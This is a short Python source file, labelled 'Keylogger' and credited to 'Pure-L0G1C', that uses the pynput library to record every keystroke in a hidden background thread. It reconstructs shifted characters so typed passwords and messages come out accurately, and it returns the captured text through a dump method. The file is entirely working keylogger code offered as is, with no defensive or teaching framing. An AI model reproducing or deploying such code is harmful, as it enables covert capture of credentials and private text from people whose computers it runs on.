# Date: 09/30/2018
# Author: Pure-L0G1C
# Description: Keylogger
from threading import Thread
from pynput.keyboard import Key, Listener
class Keylogger(object):
def __init__(self):
self.data = []
self.lastkey = None
self.listener = None
self.is_alive = True
self.num_to_symbol = {
'1': '!', '2': '@', '3': '#', '4': '$', '5': '%',
'6': '^', '7': '&', '8': '*', '9': '(', '0': ')'
}
self.sym_to_symbol = {
'`': '~', ',': '<', '.': '>', '/': '?', '\'': '\"', '\\': '|',
';': ':', '[': '{', ']': '}', '-': '_', '=': '+'
}
def _start(self):
with Listener(on_press=self.on_press, on_release=self.on_release) as self.listener:
self.listener.join()
def start(self):
Thread(target=self._start, daemon=True).start()
def stop(self):
self.listener.stop()
self.is_alive = False
def dump(self):
data = ''
if not self.is_empty():
data = ''.join(self.data)
print(data)
self.data = []
return data if data else '-1'
def on_release(self, key):
if any([key == Key.shift, key == Key.shift_r]):
self.lastkey = None
def on_press(self, key):
value = None
if key == Key.backspace:
if len(self.data):
del self.data[-1]
elif key == Key.tab:
value = '\t'
elif key == Key.enter:
value = '\n'
elif key == Key.space:
value = ' '
elif len(str(key)) == 3:
value = self.check_for_shift(key)
else:
self.lastkey = key
if value != None:
self.data.append(value)
def check_for_shift(self, key):
key = key.char
if any([self.lastkey == Key.shift, self.lastkey == Key.shift_r]):
key = (key.upper() if key.isalpha() else self.num_to_symbol[key] if
key.isdigit() else self.sym_to_symbol[key] if key in self.sym_to_symbol else key)
return key
def is_empty(self):
is_empty = True
for data in self.data:
if data.strip():
is_empty = False
break
return is_empty
